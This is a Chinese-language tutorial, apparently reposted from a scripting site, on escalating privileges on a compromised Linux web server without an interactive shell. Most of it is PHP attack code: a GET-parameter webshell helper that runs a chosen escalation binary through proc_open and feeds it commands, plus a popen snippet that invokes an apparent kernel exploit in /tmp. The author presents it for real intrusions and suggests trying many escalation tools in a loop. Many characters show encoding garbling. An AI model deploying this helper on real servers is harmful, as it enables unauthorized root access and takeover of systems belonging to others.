Linux下非交互式提權(quán)詳解
前言
之前拿到某站的Webshell之后,在提權(quán)的時候發(fā)現(xiàn)網(wǎng)站不能反彈shell。而且,在滲透的時候經(jīng)常遇到那種不能反彈shell的,你的提權(quán)工具拿上去之后因?yàn)闆]有交互式的環(huán)境,也不知道提權(quán)是否成功。因此,寫了一個簡單的工具。需要的朋友們可以參考學(xué)習(xí)。
方法如下
proce_open()
// path是提權(quán)工具的絕對路徑,例如:/usr/local/htdocs/2.6.18
// cmd是你需要執(zhí)行的命令,例如:whoami
if(isset($_GET['path']) && isset($_GET['cmd'])){
$path = $_GET['path'];
$cmd = $_GET['cmd'];
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($path, $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
echo stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($process);
}
}
代碼很簡單,不懂的可以看看PHP手冊,popen()在這里也可以實(shí)現(xiàn)相同的效果
另外,有了這個代碼之后,我們以后提權(quán)是不是就可以直接把提權(quán)工具扔到服務(wù)器上面,然后PHP代碼改一改,循環(huán)測試哪些提權(quán)工具是可用的了。
popen()
這是土司之前一個人發(fā)的,代碼原封不動的放在了下面。稍微改一改就能達(dá)到上面一樣的效果
$sucommand = "/tmp/2.6.18-2011"; $fp = popen($sucommand ,"w"); fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111"); pclose($fp);
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。
相關(guān)文章
解決Ubuntu“E:Unable to locate package“錯誤問題
Ubuntu 16.04 64位安裝軟件時報錯,解決辦法是執(zhí)行 `sudo apt-get update`,Linux發(fā)行版維護(hù)軟件倉庫,常用軟件都在里面,用 `apt-get install` 命令直接安裝,編輯 `/etc/apt/sources.list` 文件更新源列表,執(zhí)行 `sudo apt-get update` 更新軟件列表2024-12-12
CentOS 5.4 服務(wù)器配置 yum安裝Apache+php+Mysql
Centos 里的 yum 在線安裝很慢.以下是替換為中國CentOS鏡像服務(wù)器!2010-03-03
Linux系統(tǒng)(Centos6.5以上)安裝jdk教程解析
這篇文章主要介紹了Linux系統(tǒng)(Centos6.5以上)安裝jdk教程解析,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-09-09

